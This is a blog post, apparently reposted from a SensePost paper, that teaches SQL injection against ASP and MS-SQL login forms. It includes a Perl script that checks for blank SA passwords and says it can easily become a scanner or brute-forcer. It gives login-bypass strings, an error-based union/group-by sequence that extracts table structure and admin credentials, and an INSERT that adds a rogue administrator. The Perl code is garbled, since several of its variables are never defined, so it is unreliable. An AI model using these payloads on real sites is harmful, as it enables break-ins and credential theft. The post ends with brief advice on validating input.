To Be or Not To Be!!!

Just another weblog

Ky thuat SQL Injection

Today, so many web admin get headache with SQL Injection. So, what is it? How people  can do that? Black Angel will show you in this small article.

This article takes a broad look at the security issues surrounding MS-SQL and a closer look at the problems of poor input validation (& their implications) when http forms are used to query SQL servers.

It didnt take people long to realise that with all the "functionaility" built into MS-SQL that a compromised MS-SQL server translated almost directly to a compromised server and served as an excellent springboard into internal networks. Many excellent sites like [] have sprung up dedicated to issues both hats can use when dealing with SQL-Server..

This paper is more about abusing poor administration and configuration than it is about Service Packs and Hot-Fixes.

Blank SA:
The most common problem seen on MS-SQL boxes is the default <blank> SA password. If you have a MS-SQL server exposed to the internet with TCP/IP connectivity enabled (default) and SA passwordless (default) you definiately asking for (and in the opinion of most, probably deserve) to get hacked.
The following perl snippet logs into a SQL server over TCP/IP with the supplied username and password. It would be trivial to script this snippet into somthing that :
  a) scans for hosts with blank passwords
  b) Brute Forces login attempts.

## SQL username/password checker
## Parameters: senseql <IP> <username> <password>
## Eg. to check for blank SA:
## senseql sa ""
## Roelof Temmingh / Haroon Meer
## /
## SensePost IT Security
## 2001/11/09

use IO::Socket;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port)  || die "No SQL here man…";
print $remote $FULL; print $remote $SENDY2;
if ($back =~ /context to 'master'/) {print "Yep – go for it\n"}
else {print "No dude..\n";}
close ($remote);


Lets move on.. at least to admins who have had the sense to change the
admin password.

Input Validation [Simple]:

People have been screaming about poor (non) validation of user input for as
long as i can remember so i dont even think that any of the normal excuses
apply anymore. By now.. developers should simply have learnt that "all user
input should be inherently distrusted" and therfore sanitized.
Unfortunately most of the sites you come across seem to ignore sanitization
of user inupt completely or do it selectively (often forgetting hidden
fields). So lets move on..

Okay.. in its most simple form.. the asp snippet that handles the login
works thusly..

SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND  U_Password='<field from web form>'
  IF [Stuff is Returned] {Login looks good}
  ELSE {Login looks bad}

The code assumes that if a record set was built ie.. If stuff is returned, that the user must have logged in with valid credentials. A good login therefore would look like :

SELECT XYZ from tblUsers where User_ID='admin' AND U_Password='t0ps3kr3t'

Without user input sanitization, an attacker now has the ability to add/inject SQL commands using the <field from web form>s. The user inputed fields are enclosed by single quotation marks ' so a simple test of the form would be to try using ' as the username. If we get back an ODBC error, chances are that we are in the game. The next step would be to try the following as user names:

blah' OR '1'='1  (enter the same in password field)
or even to try
blah' OR 1=1–  (password field may remain blank)

The first option effectively runs the following query:

SELECT XYZ from tblUsers WHERE User_ID='blah' OR '1'='1' AND U_Password='blah' OR '1'='1'

Why this works is easily apparant. The quotation mark closes the open SQL quote and the statement is then OR'd with a condition that will always test true. ie '1'='1'. With both the username and password conditions now testing true, a recordset is built and the application assumes a valid login has taken place.

The second option used above makes use of the double hyphen (dash) which is used as a comment operator. It effectively comments out the remaining bits of the SQL statement to avoid Syntax errors etc. that could spring up with unmatched quote marks.

Lets move on…

Input Validation [Higher Grade :>]:

In order to "protect" against this.. many sites resort to scripting on the initial login.asp. To me, it makes very little sense to leave sanitization to a piece of script that the end user can edit. So in most cases all that is needed is for an attacker to save the html to his localmachine, remove offending jscript (changing the location for the GET / POST request would be a good idea too) and run the form locally. Fortunately HTTP-Refferer checks
are just as easy to overcome 😉

The virtues of using stored procedures have been extolled in numerous documents (cut down traffic / limit commands. blah.. blah) In most web forms however, they add another (small) bit of protection.

Working on the previous example, we now look at  a snippet of ASP (kind of) but with a stored procedure included (to timestamp the login / update the last-logged in time.. etc.). We now have :

SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND U_Password='<field from web form>'
  * Run Stored procedure sp_loggedin
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

Being the optimistic people we are… we give the old [ blah' OR '1'='1 ] a try…

This time the server complains with:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/admin/admin.asp, line 10

The server is complaining because we are attempting to use an OR in a stored procedure. The fact that the stored procedure is not going to play happily with conditional queries means we have to forget about  "OR"ing for a while. We get back to basics and in the username field we enter:


ODBC spits back the ffg error :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string 'sensepost' AND Password=''.
/admin/admin.asp, line 13

The '80040e14' error seems to be an almost catch-all/bad characters error message.. Whats more interesting is the line that follows it. The returned error message has disclosed its SQL query (or part of it) and one of the columns in the queried table.

NB: The returned error messages are the key to using this technique and we need to pay particular attention to them. 

Armed with the column name we go back to the login page and this time use :

sensepost' group by (password)–

Note : ^^ where password == the name of the column we obtained and where the use of — has been previously explained. An interesting point is that  both column names and table names appear to be case insensitive (which  helps later if a little bit of brute force is needed)

The ODBC error returned this time is :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/admin/admin.asp, line 13

Time for a minor "whoot!" This time the error message has given us both the table name 'Admin' and the name of another column 'Userid'. We could now repeat the previous step using the newly found column name untill we have enumerated all the columns in the target table.

The holy grail David was searching for was to totally understand the structure of the table being queried in order to be able to inject a valid INSERT statement that would happily add us as valid users/administrators. I have come across numerous sites that either(depending on what the SP_ in question does) logs you in during this process or provides you with valid credentials on the way. As with the "OR" method you are logged on as the
1st user in the table (who almost always happens to be an Administrator)

We need to know how many columns are in this table (to ensure that we know about all of them) so we go back to our login screen and try :

sensepost' union select userid from Admin–

..and get the ffg ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL  statement containing a UNION operator must have an equal number of expressions in their target lists.
/admin/admin.asp, line 13

The server is now complaining about our attempt to use the UNION operator without matching the correct number of columns as the number of columns in the Admin table. We go back to the login and try :

sensepost' union select userid,userid from Admin–

but get back the same error message. We keep adding untill the ODBC error message stops. (In the example we are abusing above the winning login was eventually :

sensepost' union select userid,userid,userid,userid,userid from Admin–

This time the returned error message was :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'superAdmin' to a column of data type int.
/admin/admin.asp, line 13

once more.. time for a Whoooooot!!! (notice.. more ooo's int he hoot and a few more !!'s as well)

In complaining about an operation it tried to perform on one of our requested "userid" columns the server has returned the value of the first userid in the table. (superAdmin.. hmmm.. looks hopefull :)) )

At this point we have 2 options: a) to go for the quick kill, to use the above method to extract a password from the server. b) to complete the analysis of the table structure in order to do an INSERT. The INSERT method makes little /no sense in the example im using and the Admin table in question appears to have only 2 columns (userid/passwrd) I have added the next few lines for completeness (and for the day you run into a table with
more columns of needed data)

To continue to understand the table structure the last step is just to attempt a "compute sum" operation on selected fields. I.e we change the login to:

sensepost' compute sum (userid)

SQL obviously complains about its inability to "sum" a non numerical field and in the process gives us the final piece of information about the column, its data type:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average  aggregate operation cannot take a    varchar data type as an argument.
/admin/admin.asp, line 13

Doing this on all of the enumerated columns leaves us with enough information to eventually insert a field into the table with :

sensepost' insert into Admin(userid,password,lastlogin) values
('haroon','hi','Dec 19 2001 5:53PM')–

Which then just leaves me having to reload the form and login …

Of course in this case, an easier alternative was to skip the INSERT and COMPUTE steps all together. If you recall we were able to get a valid username (superAdmin) in the error message when we tried :

sensepost' union select userid,userid,userid,userid,userid from Admin–

hmm… the logical next step would therefore be :

sensepost' union select password,password,password,password,password from Admin–
Which returns..

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'h1dd3n' to a   column of data type int.
/admin/admin.asp, line 13

Giving us valid login credentials with username "superAdmin" & password "h1dd3n"

The number of ASP <–> MS-SQL sites vulnerable to such attacks are shocking… considering that sanitization should have been what developers learnt on DAY2 of E-Commerce 1-oh-1 (Changing default passwords / usernames shld be day one) and whats even more alarming is the number of sites that will sanitize input on text-boxes but then ignore sanitization on hidden fields or list boxes which are a vi away from being hostile.

Hã giữ mọi thứ thật đơn giản!!
Đừng tin vào việc bảo vệ chống lại các đoạn scrip Edit-able của user
Giả định rằng tấc cả input của end-user đều là kẻ thù
Đơn giản!! Đơn giản và đơn giản!!!



Tháng Sáu 21, 2006 - Posted by | Security Tools

%(count) bình luận »

  1. Mình mới tập hack thôi và tiếng anh cũng chưa good lắm . But bài viết này rất bổ ích .
    Cám ơn bạn rất nhìu .

    Bình luận bởi badshock | Tháng Chín 12, 2007 | Phản hồi

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập: Logo

Bạn đang bình luận bằng tài khoản Đăng xuất / Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất / Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất / Thay đổi )

Google+ photo

Bạn đang bình luận bằng tài khoản Google+ Đăng xuất / Thay đổi )

Connecting to %s

%d bloggers like this: